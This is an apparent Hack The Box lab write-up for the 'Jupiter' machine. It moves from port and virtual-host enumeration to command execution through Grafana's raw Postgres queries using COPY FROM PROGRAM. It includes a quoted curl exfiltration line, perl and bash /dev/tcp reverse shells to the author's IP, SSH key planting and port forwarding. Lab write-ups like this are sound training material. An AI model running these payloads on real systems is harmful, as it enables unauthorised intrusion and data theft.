

Jupiter

By Praveen Kumar Sharma



For me IP of the machine is : 10.10.11.216

Lets try pinging it

```
ping 10.10.11.216 -c 5

PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=71.0 ms
64 bytes from 10.10.11.216: icmp_seq=2 ttl=63 time=90.8 ms
64 bytes from 10.10.11.216: icmp_seq=3 ttl=63 time=79.8 ms
64 bytes from 10.10.11.216: icmp_seq=4 ttl=63 time=72.3 ms
64 bytes from 10.10.11.216: icmp_seq=5 ttl=63 time=86.4 ms

--- 10.10.11.216 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 71.039/80.085/90.818/7.725 ms
```

Alright, its online lets do some port scanning

Port Scanning

All Port Scan

```
rustscan -a 10.10.11.216 --ulimit 5000
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (7.231s)
rustscan -a 10.10.11.216 --ulimit 5000
The tool is now fully initialized.

: http://discord.skerritt.blog      :
: https://github.com/RustScan/RustScan :
-----
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/pks/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.216:22
Open 10.10.11.216:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-29 13:55 IST
Initiating Ping Scan at 13:55
Scanning 10.10.11.216 [2 ports]
Completed Ping Scan at 13:55, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:55
Completed Parallel DNS resolution of 1 host. at 13:55, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 13:55
Scanning 10.10.11.216 [2 ports]
Discovered open port 22/tcp on 10.10.11.216
Discovered open port 80/tcp on 10.10.11.216
Completed Connect Scan at 13:55, 0.29s elapsed (2 total ports)
Nmap scan report for 10.10.11.216
Host is up, received syn-ack (0.10s latency).
Scanned at 2024-10-29 13:55:51 IST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack

Read data files from: /usr/bin/.../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
```

ⓘ Open Ports

```
PORT STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
```

Now lets do an aggressive scan on these

Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.11.216 -o aggressiveScan.txt
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main) ✘ 14 (13.133s)
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.11.216 -o aggressiveScan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-29 13:57 IST
Nmap scan report for 10.10.11.216
Host is up (0.11s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.09 seconds
```

ⓘ Aggressive Scan

```
PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Lets add jupiter.htb to our host file or /etc/hosts

```
# Static table lookup for hostnames.  
# See hosts(5) for details.  
  
10.10.11.211      monitorstwo.htb cacti.monitorstwo.htb  
10.10.11.196      stocker.htb      dev.stocker.htb  
10.10.11.186      metapress.htb  
10.10.11.218      ssa.htb  
10.10.11.216      jupiter.htb  
~  
~
```

Now lets try directory fuzzing and VHOST enumeration

Directory Fuzzing and VHOST Enumeration

Directory Fuzzing

```
feroxbuster -u http://jupiter.htb -w /usr/share/wordlists/dirb/common.txt -t  
200 -r
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main) ✘ 13 (13.6s)
```

```
feroxbuster -u http://jupiter.htb -w /usr/share/wordlists/dirb/common.txt -t 200 -r
```

HTTP	URL	/L	LW	INFO
404	GET	7l	10w	162c Auto-filtering found 404-like response and created new file
403	GET	6l	26w	2932c http://jupiter.htb/img/icons/si-3.png
200	GET	5l	37w	4168c http://jupiter.htb/img/icons/si-1.png
200	GET	268l	628w	11913c http://jupiter.htb/portfolio.html
200	GET	5l	79w	2505c http://jupiter.htb/css/slicknav.min.css
200	GET	182l	306w	4202c http://jupiter.htb/js/main.js
200	GET	7l	35w	3598c http://jupiter.htb/img/icons/si-4.png
200	GET	351l	795w	6948c http://jupiter.htb/css/magnific-popup.css
200	GET	6l	27w	3521c http://jupiter.htb/img/icons/si-2.png
200	GET	251l	759w	11969c http://jupiter.htb/services.html
200	GET	266l	701w	12613c http://jupiter.htb/about.html
200	GET	225l	536w	10141c http://jupiter.htb/contact.html
200	GET	6l	77w	3351c http://jupiter.htb/css/owl.carousel.min.css
200	GET	399l	1181w	19680c http://jupiter.htb/index.html
200	GET	63l	491w	46294c http://jupiter.htb/img/team/team-1.jpg
200	GET	4l	212w	20216c http://jupiter.htb/js/jquery.magnific-popup.min.js
200	GET	9l	394w	24103c http://jupiter.htb/js/masonry.pkgd.min.js
200	GET	584l	1619w	20977c http://jupiter.htb/js/slicknav.js
200	GET	4l	66w	31000c http://jupiter.htb/css/font-awesome.min.css
200	GET	2174l	4138w	38852c http://jupiter.htb/css/style.css
200	GET	86l	411w	41833c http://jupiter.htb/img/logo/logo-jupiter.png
200	GET	79l	431w	32802c http://jupiter.htb/img/team/team-3.jpg
200	GET	158l	582w	49359c http://jupiter.htb/img/team/team-4.jpg
200	GET	1159l	2347w	25252c http://jupiter.htb/css/elegant-icons.css
200	GET	6l	685w	60132c http://jupiter.htb/js/bootstrap.min.js
200	GET	7l	277w	44342c http://jupiter.htb/js/owl.carousel.min.js
200	GET	371l	1767w	151469c http://jupiter.htb/img/callto-bg.jpg
200	GET	2l	1283w	86927c http://jupiter.htb/js/jquery-3.3.1.min.js
200	GET	118l	859w	75695c http://jupiter.htb/img/team/team-2.jpg
200	GET	18l	930w	89031c http://jupiter.htb/js/mixitup.min.js
200	GET	449l	2746w	227845c http://jupiter.htb/img/hero/juno.jpg
200	GET	6l	2099w	160357c http://jupiter.htb/css/bootstrap.min.css
200	GET	584l	2604w	274076c http://jupiter.htb/img/team-bg.jpg
200	GET	1532l	9164w	702346c http://jupiter.htb/img/hero/jupiter-01.jpg
200	GET	6999l	31058w	2920253c http://jupiter.htb/img/hero/jupiter-02.png

① Directories

```
200 GET 6l 26w 2932c http://jupiter.htb/img/icons/si-3.png
200 GET 5l 37w 4168c http://jupiter.htb/img/icons/si-1.png
200 GET 268l 628w 11913c http://jupiter.htb/portfolio.html
200 GET 5l 79w 2505c http://jupiter.htb/css/slicknav.min.css
200 GET 182l 306w 4202c http://jupiter.htb/js/main.js
200 GET 7l 35w 3598c http://jupiter.htb/img/icons/si-4.png
200 GET 351l 795w 6948c http://jupiter.htb/css/magnific-popup.css
200 GET 6l 27w 3521c http://jupiter.htb/img/icons/si-2.png
200 GET 251l 759w 11969c http://jupiter.htb/services.html
200 GET 266l 701w 12613c http://jupiter.htb/about.html
200 GET 225l 536w 10141c http://jupiter.htb/contact.html
200 GET 6l 77w 3351c http://jupiter.htb/css/owl.carousel.min.css
```

```
200 GET 399l 1181w 19680c http://jupiter.htb/index.html
200 GET 63l 491w 46294c http://jupiter.htb/img/team/team-1.jpg
200 GET 4l 212w 20216c http://jupiter.htb/js/jquery.magnific-
popup.min.js
200 GET 9l 394w 24103c http://jupiter.htb/js/masonry.pkgd.min.js
200 GET 584l 1619w 20977c http://jupiter.htb/js/jquery.slicknav.js
200 GET 4l 66w 31000c http://jupiter.htb/css/font-awesome.min.css
200 GET 2174l 4138w 38852c http://jupiter.htb/css/style.css
200 GET 86l 411w 41833c http://jupiter.htb/img/logo/logo-
jupiter.png
200 GET 79l 431w 32802c http://jupiter.htb/img/team/team-3.jpg
200 GET 158l 582w 49359c http://jupiter.htb/img/team/team-4.jpg
200 GET 1159l 2347w 25252c http://jupiter.htb/css/elegant-
icons.css
200 GET 6l 685w 60132c http://jupiter.htb/js/bootstrap.min.js
200 GET 7l 277w 44342c http://jupiter.htb/js/owl.carousel.min.js
200 GET 371l 1767w 151469c http://jupiter.htb/img/callto-bg.jpg
200 GET 2l 1283w 86927c http://jupiter.htb/js/jquery-3.3.1.min.js
200 GET 118l 859w 75695c http://jupiter.htb/img/team/team-2.jpg
200 GET 18l 930w 89031c http://jupiter.htb/js/mixitup.min.js
200 GET 449l 2746w 227845c http://jupiter.htb/img/hero/juno.jpg
200 GET 6l 2099w 160357c http://jupiter.htb/css/bootstrap.min.css
200 GET 584l 2604w 274076c http://jupiter.htb/img/team-bg.jpg
200 GET 1532l 9164w 702346c http://jupiter.htb/img/hero/jupiter-
01.jpg
200 GET 6999l 31058w 2920253c http://jupiter.htb/img/hero/jupiter-
02.png
200 GET 399l 1181w 19680c http://jupiter.htb/
```

Alright lets do VHOST Enumeration as well

VHOST Enumeration

```
ffuf -u http://jupiter.htb -H 'Host: FUZZ.jupiter.htb' -w
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-
110000.txt -t 200 -ac
```

Lets add kiosk.jupiter.htb to /etc/hosts as well

```
# Static table lookup for hostnames.  
# See hosts(5) for details.  
  
10.10.11.211      monitorstwo.htb  cacti.monitorstwo.htb  
10.10.11.196      stocker.htb     dev.stocker.htb  
10.10.11.186      metapress.htb  
10.10.11.218      ssa.htb  
10.10.11.216      jupiter.htb    kiosk.jupiter.htb  
~  
~
```

Now lets run directory fuzzing on this subdomain as well

④ Directories (sub-domain)

```
admin [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 711ms]  
configuration [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 639ms]  
connections [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 626ms]  
explore [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 932ms]  
login [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 984ms]  
live [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration:  
2285ms]  
logout [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 2358ms]
```

```
monitoring [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 2299ms]  
org [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration:  
964ms]  
plugins [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 839ms]  
profile [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 1156ms]  
robots.txt [Status: 200, Size: 26, Words: 3, Lines: 3, Duration:  
1194ms]  
signup [Status: 200, Size: 34390, Words: 2150, Lines: 212,  
Duration: 853ms]
```

Alright enough enumeration lets see this application now

Web Application

Default page

The screenshot shows the homepage of a website for "PLANETARY OBSERVATIONAL DATA". The background is a large, detailed image of the planet Jupiter's surface with its characteristic cloud patterns. At the top left is a small icon of a telescope. The top navigation bar includes links for HOME, SERVICES, PORTFOLIO, ABOUT US, and CONTACT, along with social media icons for Facebook, Twitter, YouTube, Instagram, and a star icon. A sub-navigation menu for "JUPITER" is visible on the left side of the main content area. The main title "PLANETARY OBSERVATIONAL DATA" is prominently displayed in large, bold, white letters. Below it is a "SEE MORE ABOUT US" button and a "STARGAZING TOURS" section with three numbered items: 01, 02, 03. Further down, there are sections for "OUR SERVICES" and "WHAT WE DO?", each with an icon and a brief description: "Stargazing Tours" (telescope icon) and "Telescope Rentals" (camera icon).

Alright nothing in the source code here lets see that other subdomain

The screenshot shows a subdomain named "kiosk.jupiter.htb". The URL in the address bar is "Not Secure http://kiosk.jupiter.htb/d/jRgF5fA4z/moons?orgId=1&refreshId". The page content is about moons, starting with a heading "What are Moons?". It explains that moons orbit planets and asteroids in our solar system, with Earth having one moon and many others existing. It also notes that most major planets have moons, except for Mercury and Venus. Below this is a large image of the Moon's surface. To the left, there is a sidebar with a "Saturn" section and a table titled "Moons of Planet Saturn" showing data for Ymir, Titan, and Thrymr. The table has columns for Name, Parent Planet, Name Meaning, and Number of Moons. The "Name Meaning" column contains short descriptions of the names' origins from Norse mythology.

Name	Parent Planet	Name Meaning	Number of Moons
Ymir	Saturn	Ancestor to all the frost giants in Norse ...	1
Titan	Saturn	Named after the Greek Titans	1
Thrymr	Saturn	King of the Jotnar in Norse mythology	1

So this is garfana

This should be pretty easy to exploit follow along

Gaining Access

So with garfana it is connected with postgres and it is just sending raw sql queries after interval we just need to capture one to get RCE on the box

Got one here

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
13 x-plugin-id: postgres				"results":{			
14 Content-Length: 484				"A":{			
15 Origin: http://kiosk.jupiter.htb				"status":200,			
16 Sec-GPC: 1				"frames":[]			
17 Connection: keep-alive				{			
18 Cookie: redirect_to=%2Fd%2FjMgFGFa4z%2Fmoons%3ForgId%3D1%26refresh%3D1				"schema":{			
19 Priority: u=4				"refId":"A",			
20				"meta":{			
21 {				"typeVersion":[]			
"queries":[]				0,			
{				0			
"refId":"A",				},			
"datasource":{				"executedQueryString":			
"type":"postgres",				"select \n name as \"Name\", \n parent as			
"uid":"YItSLg-Vz"				\"Parent Planet\", \n meaning as \"Name Mea-			
},				ning\" \nfrom \n moons \nwhere \n parent =			
"rawSql":				'Saturn' \norder by \n name desc;"			
"select \n name as \"Name\", \n parent as				},			
\"Parent Planet\", \n meaning as \"Name Mea-				"fields":[]			
ning\" \nfrom \n moons \nwhere \n parent =				{			
'Saturn' \norder by \n name desc]",				"name":"Name",			
"format":"table",				"type":"string",			
"datasourceId":1,				"typeInfo":{			
"intervals":60000,				"frame":"string",			
"maxDataPoints":911				"nullable":true			
}				},			
},				{name":"Parent Planet",			
"range":{				"type":"string",			
"from":"2024-10-29T03:06:01.941Z",				"typeInfo":{			
"to":"2024-10-29T09:06:01.941Z",							

First lets test if we can do anything here lets select the version here

Request	Response
<pre> 11 x-grafana-org-id: 1 12 x-panel-id: 24 13 x-plugin-id: postgres 14 Content-Length: 334 15 Origin: http://Kiosk.jupiter.htb 16 Sec-GPC: 1 17 Connection: keep-alive 18 Cookie: redirect_to=%2Fd%2FjMgGFA4z%2Fmoons%3ForgId%3D1%26refresh%3D1d 19 Priority: u=4 20 21 { "queries": [{ "refId": "A", "datasource": { "type": "postgres", "uid": "YItSLg-Vz" }, "rawSql": "select version();", "format": "table", "datasourceId": 1, "intervalMs": 60000, "maxDataPoints": 911 }], "range": { "from": "2024-10-29T03:06:01.941Z", "to": "2024-10-29T09:06:01.941Z" } } </pre>	<pre> 0, 0], "executedQueryString": "select version();", "fields": [{ "name": "version", "type": "string", "typeInfo": { "frame": "string", "nullable": true } }], "data": { "values": [["PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit"]] } </pre>

And lets see if we are superuser

Request	Response
<pre> 16 Sec-GPC: 1 17 Connection: keep-alive 18 Cookie: redirect_to=%2Fd%2FjMgGFA4z%2Fmoons%3ForgId%3D1%26refresh%3D1d 19 Priority: u=4 20 21 { "queries": [{ "refId": "A", "datasource": { "type": "postgres", "uid": "YItSLg-Vz" }, "rawSql": "select current_setting('is_superuser');", "format": "table", "datasourceId": 1, "intervalMs": 60000, "maxDataPoints": 911 }], "range": { "from": "2024-10-29T03:06:01.941Z", "to": "2024-10-29T09:06:01.941Z", "raw": { "from": "now-6h", "to": "now" } } } </pre>	<pre> "meta": { "typeVersion": [0, 0], "executedQueryString": "select current_setting('is_superuser');", "fields": [{ "name": "current_setting", "type": "string", "typeInfo": { "frame": "string", "nullable": true } }], "data": { "values": [["on"]] } } </pre>

Alright this is working
So lets find the trick on hacktricks

RCE

RCE to program

Since [version 9.3](#), only **super users** and member of the group `pg_execute_server_program` can use copy for RCE (example with exfiltration):

```
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f='ls -l|base64' -- -
```

Example to exec:

```
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerA
```

Run these command one by one to test here i go

```
DROP TABLE IF EXISTS cmd_exec;
```

Request	Response
Pretty	Pretty
Raw	Raw
15 Origin: http://kiosk.jupiter.htb	1 HTTP/1.1 200 OK
16 Sec-GPC: 1	2 Server: nginx/1.18.0 (Ubuntu)
17 Connection: keep-alive	3 Date: Tue, 29 Oct 2024 09:03:11 GMT
18 Cookie: redirect_to=%2Fd%2FMcGFGFA4z%2Fmoons%3ForgId%3D1%26refresh%3D1	4 Content-Type: application/json
19 Priority: u=4	5 Content-Length: 45
20	6 Connection: keep-alive
21 {	7 Cache-Control: no-store
"queries": [8 X-Content-Type-Options: nosniff
{	9 X-Frame-Options: deny
"refId": "A",	10 X-Xss-Protection: 1; mode=block
"datasource": {	11
"type": "postgres",	12 {
"uid": "YtSLg-Vz"	"results": {
},	"A": {
"rawSql": "DROP TABLE IF EXISTS cmd_exec;",	"status": 200,
"format": "table",	"frames": [
"datasourceId": 1,]
"intervalMs": 60000,	}
"maxDataPoints": 911	}
},	13 }
"range": {	
"from": "2024-10-29T03:06:01.941Z",	
"to": "2024-10-29T09:06:01.941Z",	
"row": {	
"from": "now-6h",	
"+6h+now"	

```
CREATE TABLE cmd_exec(cmd_output text);
```

Request				Response			
Pretty	Raw	Hex	In	Pretty	Raw	Hex	Render
16 Sec-GPC: 1				1 HTTP/1.1 200 OK			
17 Connection: keep-alive				2 Server: nginx/1.18.0 (Ubuntu)			
18 Cookie: redirect_to=				3 Date: Tue, 29 Oct 2024 09:01:54 GMT			
%2Fd%2FjMgFGFA4z%2Fmoons%3ForgId%3D1%26refresh%3D1d				4 Content-Type: application/json			
19 Priority: u=4				5 Content-Length: 45			
20				6 Connection: keep-alive			
21 {				7 Cache-Control: no-store			
"queries": [8 X-Content-Type-Options: nosniff			
{				9 X-Frame-Options: deny			
"refId": "A",				10 X-Xss-Protection: 1; mode=block			
"datasource": {				11			
"type": "postgres",				12 {			
"uid": "YItSLg-Vz"				"results": {			
},				"A": {			
"rawSql":				"status": 200,			
"CREATE TABLE cmd_exec(cmd_output text);",				"frames": [
"format": "table",]			
"datasourceId": 1,				}			
"intervalMs": 60000,				13			
"maxDataPoints": 911							
},							
},							
"range": {							
"from": "2024-10-29T03:06:01.941Z",							
"to": "2024-10-29T09:06:01.941Z",							
"raw": {							
"from": "now-6h",							
"+0h~now"							

```
COPY cmd_exec FROM PROGRAM 'id';
```

Request				Response			
Pretty	Raw	Hex	In	Pretty	Raw	Hex	Render
15 Origin: http://kiosk.jupiter.htb				1 HTTP/1.1 200 OK			
16 Sec-GPC: 1				2 Server: nginx/1.18.0 (Ubuntu)			
17 Connection: keep-alive				3 Date: Tue, 29 Oct 2024 09:02:08 GMT			
18 Cookie: redirect_to=				4 Content-Type: application/json			
%2Fd%2FjMgFGFA4z%2Fmoons%3ForgId%3D1%26refresh%3D1d				5 Content-Length: 45			
19 Priority: u=4				6 Connection: keep-alive			
20				7 Cache-Control: no-store			
21 {				8 X-Content-Type-Options: nosniff			
"queries": [9 X-Frame-Options: deny			
{				10 X-Xss-Protection: 1; mode=block			
"refId": "A",				11			
"datasource": {				12 {			
"type": "postgres",				"results": {			
"uid": "YItSLg-Vz"				"A": {			
},				"status": 200,			
"rawSql": "COPY cmd_exec FROM PROGRAM 'id';",				"frames": [
"format": "table",]			
"datasourceId": 1,				}			
"intervalMs": 60000,				13			
"maxDataPoints": 911							
},							
},							
"range": {							
"from": "2024-10-29T03:06:01.941Z",							
"to": "2024-10-29T09:06:01.941Z",							
"raw": {							
"from": "now-6h",							
"+0h~now"							

Now lets see the table here

```
SELECT * FROM cmd_exec;
```

Request	Response
<pre> 14 Content-Length: 341 15 Origin: http://kiosk.jupiter.htb 16 Sec-GPC: 1 17 Connection: keep-alive 18 Cookie: redirect_to=%2Fd%2FjMqFGFA4z%2Fmcous%3ForgId%3D1%26refresh%3D1d 19 Priority: u=4 20 21 { "queries": [{ "refId": "A", "datasource": { "type": "postgres", "id": "YItSlg-Vz" }, "rawSql": "SELECT * FROM cmd_exec;", "format": "table", "dataSourceId": 1, "intervalMs": 60000, "maxDataPoints": 911 }], "range": { "from": "2024-10-29T03:06:01.941Z", "to": "2024-10-29T09:06:01.941Z", "raw": { "from": "now-6h", } } } </pre>	<pre> 0], "executedQueryString": "SELECT * FROM cmd_exec;" }, "fields": [{ "name": "cmd_output", "type": "string", "typeInfo": { "frame": "string", "nullable": true } }], "data": { "values": [{ "uid": 114(postgres), "gid": 120(postgres), "groups": 120(postgres), 119(ssl-cert) }, { "uid": 114(postgres), "gid": 120(postgres), "groups": 120(postgres), 119(ssl-cert) }] }] } </pre>

I ran it twice by accident u should see one here
Now lets make a reverse shell here

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (0.028s)
echo 'bash -i >& /dev/tcp/10.10.16.21/9001 0>&1' | base64
YmFzaCAtaSAGPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvOTAwMSAgIDA+JjEgCg==

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (0.026s)
echo 'bash -i >& /dev/tcp/10.10.16.21/9001 0>&1' | base64
YmFzaCAtaSAGPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvOTAwMSAgIDA+JjEgICAK

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (0.03s)
echo 'bash -i >& /dev/tcp/10.10.16.21/9001 0>&' | base64
YmFzaCAtaSAGPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvOTAwMSAgIDA+JiAgIAo=

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (0.028s)
echo 'bash -i >& /dev/tcp/10.10.16.21/9001 0>&1' | base64
YmFzaCAtaSAGPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvOTAwMSAgMD4mMSAgIAo=

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±2 (0.028s)
echo 'bash -i >& /dev/tcp/10.10.16.21/9001 0>&1' | base64
YmFzaCAtaSAGPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvOTAwMSAgMD4mMSAgICAK
```

Just making it alpha numeric with no special characters lets make a shell here

Start a listener now

```
~ 
(16:02:56)→ nc -lvpn 9001
Listening on 0.0.0.0 9001

```

Now lets get a revshell like this

Request	Response
<pre>Pretty Raw Hex</pre> <pre>18 Cookie: redirect_to=%2Fd%2fJNgFGFA4z%2Fmoons%3ForId%3D1%26refresh%3Did 19 Priority: u=4 20 21 { "queries": [{ "refId": "A", "datasource": { "type": "postres", "uid": "YItS1g-Vz" }, "rawSql": "COPY cmd_exec FROM PROGRAM 'echo YmFzaGAta SAgiYgL2Rldi90Y3avMTAuMTAuMTYuMjEvOTAwMSAgM D4mMSAgICAK base64 -d bash';", "format": "table", "datasourceId": 1, "intervalMs": 600000, "maxDataPoints": 911 }], "range": { "from": "2024-10-29T03:06:01.941Z", "to": "2024-10-29T09:06:01.941Z", "rawSql": [] } }</pre>	

And we get the shell here

```
(16:02:56)→ nc -lvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.11.216 42566
bash: cannot set terminal process group (14008): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ id
id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)
postgres@jupiter:/var/lib/postgresql/14/main$
```

So it is clearing pty i make from python so i made a ssh key with

```
ssh-keygen -f pks
```

And added the the pks.pub in /var/lib/postgresql/.ssh/authorized_keys

```
postgres@jupiter:/var/lib/postgresql$ cat .ssh/authorized_keys
cat .ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTESAAAIKV1FY/S+q9ESihk8/Dqb4WTfs7ADWSDCGdVtrMARtsn pks@ArchBro
postgres@jupiter:/var/lib/postgresql$
```

And now we can ssh in with no problem

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4 (2.045s)
ssh -i pkcs postgres@jupiter.htb
```

```
postgres@jupiter:~ (0s)
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information as of Tue Oct 29 09:21:17 AM UTC 2024

 System load:          0.0
 Usage of /:           81.4% of 12.33GB
 Memory usage:         13%
 Swap usage:           0%
 Processes:            228
 Users logged in:      0
 IPv4 address for eth0: 10.10.11.216
 IPv6 address for eth0: dead:beef::250:56ff:feb9:8ebc

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.
```

```
postgres@jupiter ~
```

Lateral PrivEsc - 1

Found something running on port 8888 here

```
postgres@jupiter:~ (0.194s)
ss -lntp
State      Recv-Q      Send-Q      Local Address:Port
LISTEN      0          511          0.0.0.0:80
LISTEN      0          4096         127.0.0.53%lo:53
LISTEN      0          128          0.0.0.0:22
LISTEN      0          4096         127.0.0.1:3000
LISTEN      0          128          127.0.0.1:8888
LISTEN      0          244          127.0.0.1:5432
LISTEN      0          128          [::]:22
```

Port forwarded that to me

```
ssh -i pks -L 8000:localhost:8888 postgres@jupiter.htb
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4 (1.918s)
ssh -i pks -L 8000:localhost:8888 postgres@jupiter.htb
```

```
postgres@jupiter:~ (0s)
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information as of Tue Oct 29 09:25:41 AM UTC 2024

 System load:          0.0
 Usage of /:           81.4% of 12.33GB
 Memory usage:         20%
 Swap usage:           0%
 Processes:            236
 Users logged in:      1
 IPv4 address for eth0: 10.10.11.216
 IPv6 address for eth0: dead:beef::250:56ff:feb9:8ebc
```

And it was jupyter

enable a password.'. It also includes a command-line example: 'jupyter notebook list' which shows running servers with tokens, and a note about using the token in the password field."/>

Token authentication is enabled

If no password has been configured, you need to open the notebook server with its login token in the URL, or paste it above. This requirement will be lifted if you [enable a password](#).

The command:

```
jupyter notebook list
```

will show you the URLs of running servers with their tokens, which you can copy and paste into your browser. For example:

```
Currently running servers:  
http://localhost:8888/?token=c8de56fa... :: /Users/you/notebooks
```

or you can paste just the token value into the password field on this page.

See the [documentation on how to enable a password](#) in place of token authentication, if you would like to avoid dealing with random tokens.

Cookies are required for authenticated access to notebooks.

Setup a Password

You can also setup a password by entering your token and a new password on the fields below:

It needed a token to login
So i found this in /dev/shm

```
postgres@jupiter ~ (0.282s)
cd /dev/shm

postgres@jupiter:/dev/shm (0.11s)
ls

network-simulation.yml  PostgreSQL.1914448002  shadow.data
```

And this shadow.data was being updated every two minutes u can see this with long listing and time it was built

```
postgres@jupiter /dev/shm (0.192s)
ls -al

total 36
drwxrwxrwt  3 root      root      120 Oct 29 09:35 .
drwxr-xr-x 20 root      root     4020 Oct 29 08:10 ..
-rw-----  1 postgres postgres   93 Oct 29 09:34 authorized_keys
-rw-rw-rw-  1 juno      juno     860 Oct 29 09:35 network-simulation.yml
-rw-----  1 postgres postgres 26976 Oct 29 08:10 PostgreSQL.1914448002
drwxrwxr-x  3 juno      juno    100 Oct 29 09:34 shadow.data
```

I copied over my authorized_keys here

```
postgres@jupiter /dev/shm (0.201s)
cp ~/.ssh/authorized_keys .

postgres@jupiter /dev/shm (0.111s)
ls

authorized_keys  network-simulation.yml  PostgreSQL.1914448002  shadow.data
```

One more thing give all the permissions to this key

```
postgres@jupiter /dev/shm (0.258s)
chmod 777 authorized_keys

postgres@jupiter:/dev/shm (0.098s)
ls -al

total 36
drwxrwxrwt  3 root      root      120 Oct 29 09:36 .
drwxr-xr-x 20 root      root     4020 Oct 29 08:10 ..
-rwxrwxrwx  1 postgres postgres   93 Oct 29 09:34 authorized_keys
-rw-rw-rw-  1 juno      juno     815 Mar  7  2023 network-simulation.yml
-rw-----  1 postgres postgres 26976 Oct 29 08:10 PostgreSQL.1914448002
drwxrwxr-x  3 juno      juno    100 Oct 29 09:36 shadow.data
```

